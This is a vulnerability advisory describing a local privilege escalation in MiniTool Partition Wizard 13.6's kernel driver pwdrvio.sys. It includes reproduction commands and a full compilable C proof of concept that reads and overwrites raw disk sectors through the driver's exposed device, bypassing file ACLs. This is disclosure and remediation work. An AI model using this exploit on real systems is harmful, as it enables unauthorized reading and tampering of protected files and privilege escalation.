MiniTool Partition Wizard 13.6 Kernel Driver pwdrvio.sys Local Privilege Escalation

Summary

MiniTool Partition Wizard DEMO 13.6 installs the signed kernel driver `pwdrvio.sys`. The driver exposes `\\.\PartitionWizardDiskAccesser\<disk_number>` and forwards read, write, and disk IOCTL requests to the lower disk device from kernel context.

In the validation below, a standard user at Medium Integrity could not directly read or write a protected file on a temporary VHD and could not directly open `\\.\PhysicalDrive1`. The same standard user used `pwdrvio.sys` to read the protected file's NTFS data clusters from the raw disk and then overwrite those clusters. After remounting the VHD, the protected file contained the low-user supplied marker.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: MiniTool Partition Wizard DEMO
- Tested version: 13.6
- Driver: `pwdrvio.sys`
- Driver SHA-256: `0489B3DEC6A33E50D8A48A8DAD3F5B923A81F7300E4A71358D90D2879BAC9AA2`

Download URL and SHA-256

- Download page: `https://www.partitionwizard.com/download.html`

- Download URL: `https://cdn2.minitool.com/?e=pw-demo&p=pw`
- File name used for validation: `pw_demo_installer.exe`
- Installer SHA-256: `DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB`
- Installer version: 13.6
- Installer signature: Valid, MiniTool Software Limited
- Driver signature: Valid, MiniTool Solution Ltd

Vulnerability Type

Local privilege escalation primitive / raw disk read-write access-control bypass through a kernel driver.

Impact

A low-privileged local user can bypass Windows file and raw-disk access controls by reading and writing raw disk sectors through `pwdrvio.sys`. This can expose protected file content and can modify protected files by writing their underlying NTFS data clusters.

The proof used a temporary VHD and a self-created protected marker file. The same primitive could be used against sensitive files or filesystem metadata on real disks if the vulnerable driver is installed and reachable.

Test Environment

- OS: Windows x64 test VM
- Administrator account used only for installation, VHD setup, and cleanup
- Test user: standard user `EXPDEV\low`
- Test user integrity: Medium Integrity
- Test user groups: `BUILTIN\Users`, not `BUILTIN\Administrators`
- Controlled disk: temporary VHD attached as disk 1
- Protected test object: `R:\protected\admin_only_flag.bin`

Driver Load / Setup Steps

The official MiniTool Partition Wizard DEMO 13.6 installer was downloaded from the vendor CDN and verified. It was installed silently:

```
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
```

The installer created and started the `pwdrvio` kernel service:

```
SERVICE_NAME: pwdrvio
TYPE               : 1  KERNEL_DRIVER
STATE              : 4  RUNNING
BINARY_PATH_NAME   : \SystemRoot\system32\pwdrvio.sys
```

A temporary VHD was created, formatted NTFS, and assigned drive letter `R:`. An administrator created a protected marker file on that VHD and removed inheritance so only Administrators and SYSTEM had access:

```
New-Item -ItemType Directory R:\protected
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $markerBytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
```

The file's NTFS extent was resolved with `fsutil file queryextents`. The first data run began at disk offset `5865472` and was `20480` bytes long on disk 1.

Reproduction Steps

1. Install and Verify Driver

Download the official MiniTool Partition Wizard DEMO installer:

```
https://cdn2.minitool.com/?e=pw-demo&p=pw
```

Expected installer SHA-256 from this validation:

```
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB
```

Install:

```
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
sc.exe query pwdrvio
```

Expected state:

```
STATE              : 4  RUNNING
```

2. Create Controlled VHD and Protected Flag

Run as administrator:

```
diskpart.exe
create vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd maximum=96
type=fixed
select vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
attach vdisk
create partition primary
exit

Get-Partition -DiskNumber 1 -PartitionNumber 1 | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel MTREPRO -Confirm:$false -
Force
```

Create a protected marker file:

```
New-Item -ItemType Directory -Force R:\protected
$marker = 'MINITOOL-PWDRVIO-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = [Text.Encoding]::ASCII.GetBytes($marker.PadRight(20480, 'A'))
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $bytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
```

Resolve the file's disk offset:

```
fsutil fsinfo ntfsinfo R:
fsutil file queryextents R:\protected\admin_only_flag.bin
```

In this validation:

```
Disk number: 1
Partition offset: 65536
Bytes per cluster: 4096
First LCN: 1416
Run length: 20480
Disk offset: 5865472
```

3. Baseline as Standard User

Run as the standard user:

```
whoami /all
[IO.File]::ReadAllBytes('R:\protected\admin_only_flag.bin')
[IO.File]::WriteAllText('R:\protected\admin_only_flag.bin', 'SHOULD-NOT-WRITE')
```

```
[IO.File]::Open('\\.\PhysicalDrive1', [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite,
[IO.FileShare]::ReadWrite)
```

Expected result:

```
READ-FAILED: Access is denied.
WRITE-FAILED: Access is denied.
RAW-OPEN-FAILED: Access is denied.
```

4. Read Protected File Clusters Through Driver

Run as the same standard user:

```
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --read --offset 5865472 --length 20480 --out
exploit_read_clusters.bin
```

Expected result:

```
read 20480 bytes from disk 1 offset 5865472 via pwdrvio forwarder
```

Confirm the output contains the protected marker string.

5. Overwrite the Controlled Protected File Clusters

Dismount the VHD volume before writing:

```
mountvol R: /p
```

Run as the same standard user:

```
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --write --offset 5865472 --in
controlled_write_payload.bin --dangerous-write
```

Expected result:

```
wrote 20480 bytes to disk 1 offset 5865472 via pwdrvio forwarder
```

Reassign `R:` and verify that `R:\protected\admin_only_flag.bin` contains the new write marker.

6. Cleanup

Run as administrator:

```
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
C:\Program\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
sc.exe stop pwdrvio
sc.exe delete pwdrvio
sc.exe delete pwdspio
Remove-Item C:\ProgramData\VendorRepro\minitool_pwdrvio -Recurse -Force
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denied that user direct file access and direct raw-disk access. The same user could access the protected file contents and overwrite them through `pwdrvio.sys`, because the driver exposes raw disk reads and writes without enforcing the caller's normal Windows access checks.

This demonstrates a practical protected-file read/write impact using a controlled VHD and a self-created protected flag file.

Suggested Remediation

- Do not expose raw disk read/write forwarding to low-privileged callers.
- Restrict the device object ACL with `IoCreateDeviceSecure` or an INF SDDL so only trusted administrative service components can open the device.
- Impersonate the caller and require normal Windows access checks before opening or forwarding operations to disk devices.
- Remove generic disk IOCTL forwarding or replace it with a strict allowlist of non-sensitive operations.
- Add explicit authorization checks for all write-capable and raw-disk-capable IOCTL/read/write paths.

POC

```
// FND-013 compile-only PoC.
// MiniTool Partition Wizard pwdrvio.sys raw disk forwarder.
//
```

```
// Default actions are read-only. Raw disk writes require --dangerous-write.
// Build only; run inside an isolated VM with the vulnerable driver installed.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winioctl.h>
#include <stdint.h>
#include <stdio.h>
#include <wchar.h>

static void usage(void) {
    fwprintf(stderr,
        L"usage:\n"
        L"  minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --geometry\n"
        L"  minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --read --offset <n> --length
<n> --out <file>\n"
        L"  minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --write --offset <n> --in
<file> --dangerous-write\n"
        L"\nexamples:\n"
        L"  minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --read --offset 0 --length 512 --
out sector0.bin\n"
        L"  minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --geometry\n");
}

static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i + 1 < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return argv[i + 1];
    }
    return NULL;
}

static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return 1;
    }
    return 0;
}

static uint64_t parse_u64(const wchar_t *s) {
    return s ? _wcstoui64(s, NULL, 0) : 0;
```

```
}

static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
    HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    LARGE_INTEGER sz;
    DWORD got = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
        CloseHandle(f);
        return 0;
    }
    *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
    *len = (DWORD)sz.QuadPart;
    if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
    HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
NULL);
    DWORD wrote = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

static int sync_read(HANDLE h, uint64_t offset, BYTE *buf, DWORD len, DWORD *got) {
    OVERLAPPED ov;
    DWORD err;
    ZeroMemory(&ov, sizeof(ov));
    ov.Offset = (DWORD)offset;
    ov.OffsetHigh = (DWORD)(offset >> 32);
```

```
    ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (!ov.hEvent) return 0;
    if (ReadFile(h, buf, len, got, &ov)) {
        CloseHandle(ov.hEvent);
        return 1;
    }
    err = GetLastError();
    if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, got, TRUE)) {
        CloseHandle(ov.hEvent);
        return 1;
    }
    SetLastError(err);
    CloseHandle(ov.hEvent);
    return 0;
}

static int sync_write(HANDLE h, uint64_t offset, const BYTE *buf, DWORD len, DWORD *wrote) {
    OVERLAPPED ov;
    DWORD err;
    ZeroMemory(&ov, sizeof(ov));
    ov.Offset = (DWORD)offset;
    ov.OffsetHigh = (DWORD)(offset >> 32);
    ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (!ov.hEvent) return 0;
    if (WriteFile(h, buf, len, wrote, &ov)) {
        CloseHandle(ov.hEvent);
        return 1;
    }
    err = GetLastError();
    if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, wrote, TRUE)) {
        CloseHandle(ov.hEvent);
        return 1;
    }
    SetLastError(err);
    CloseHandle(ov.hEvent);
    return 0;
}

static void hexdump_prefix(const BYTE *buf, DWORD len) {
    DWORD shown = len < 256 ? len : 256;
```

```
    for (DWORD i = 0; i < shown; i += 16) {
        wprintf(L"%04x  ", i);
        for (DWORD j = 0; j < 16 && i + j < shown; ++j) {
            wprintf(L"%02x ", buf[i + j]);
        }
        wprintf(L"\n");
    }
}

int wmain(int argc, wchar_t **argv) {
    const wchar_t *disk_s = arg_value(argc, argv, L"--disk");
    const wchar_t *out_path = arg_value(argc, argv, L"--out");
    const wchar_t *in_path = arg_value(argc, argv, L"--in");
    uint64_t disk = parse_u64(disk_s);
    uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
    uint64_t length64 = parse_u64(arg_value(argc, argv, L"--length"));
    int do_geometry = has_arg(argc, argv, L"--geometry");
    int do_read = has_arg(argc, argv, L"--read");
    int do_write = has_arg(argc, argv, L"--write");
    wchar_t devpath[128];
    HANDLE h;

    if (!disk_s || disk > 99 || (do_geometry + do_read + do_write) != 1) {
        usage();
        return 2;
    }

    _snwprintf(devpath, _countof(devpath), L"\\\\.\\PartitionWizardDiskAccesser\\%llu",
        (unsigned long long)disk);
    devpath[_countof(devpath) - 1] = 0;

    h = CreateFileW(devpath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
    if (h == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"CreateFileW(%ls) failed: %lu\n", devpath, GetLastError());
```

```
        return 1;
    }

    if (do_geometry) {
        BYTE outbuf[1024];
        DWORD returned = 0;
        ZeroMemory(outbuf, sizeof(outbuf));
        if (!DeviceIoControl(h, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX,
            NULL, 0, outbuf, sizeof(outbuf), &returned, NULL)) {
            fwprintf(stderr, L"DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY_EX) failed:
%lu\n",
                GetLastError());
            CloseHandle(h);
            return 1;
        }
        wprintf(L"geometry ioctl returned %lu bytes via pwdrvio forwarder\n", returned);
        hexdump_prefix(outbuf, returned);
        CloseHandle(h);
        return 0;
    }

    if (do_read) {
        BYTE *buf;
        DWORD len;
        DWORD got = 0;
        if (!out_path || length64 == 0 || length64 > 0x100000) {
            usage();
            CloseHandle(h);
            return 2;
        }
        len = (DWORD)length64;
        buf = (BYTE *)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!buf) {
            fwprintf(stderr, L"VirtualAlloc failed: %lu\n", GetLastError());
            CloseHandle(h);
            return 1;
        }
        if (!sync_read(h, offset, buf, len, &got)) {
            fwprintf(stderr, L"ReadFile through pwdrvio failed: %lu\n", GetLastError());
            VirtualFree(buf, 0, MEM_RELEASE);
```

```
        CloseHandle(h);
        return 1;
    }
    if (!write_file_all(out_path, buf, got)) {
        fwprintf(stderr, L"could not write output file: %ls\n", out_path);
        VirtualFree(buf, 0, MEM_RELEASE);
        CloseHandle(h);
        return 1;
    }
    wprintf(L"read %lu bytes from disk %llu offset %llu via pwdrvio forwarder\n",
        got, (unsigned long long)disk, (unsigned long long)offset);
    hexdump_prefix(buf, got);
    VirtualFree(buf, 0, MEM_RELEASE);
    CloseHandle(h);
    return 0;
}

if (do_write) {
    BYTE *buf = NULL;
    DWORD len = 0;
    DWORD wrote = 0;
    if (!in_path || !has_arg(argc, argv, L"--dangerous-write")) {
        fwprintf(stderr, L"raw disk writes require --in <file> and --dangerous-write\n");
        CloseHandle(h);
        return 2;
    }
    if (!read_file_all(in_path, &buf, &len)) {
        fwprintf(stderr, L"could not read input file: %ls\n", in_path);
        CloseHandle(h);
        return 1;
    }
    if (!sync_write(h, offset, buf, len, &wrote)) {
        fwprintf(stderr, L"WriteFile through pwdrvio failed: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, buf);
        CloseHandle(h);
        return 1;
    }
    wprintf(L"wrote %lu bytes to disk %llu offset %llu via pwdrvio forwarder\n",
        wrote, (unsigned long long)disk, (unsigned long long)offset);
    HeapFree(GetProcessHeap(), 0, buf);
```

```
    }

    CloseHandle(h);
    return 0;
}
```

Revision #6
Created 2026-05-20 04:33:39 UTC by winslow
Updated 2026-05-20 16:15:14 UTC by winslow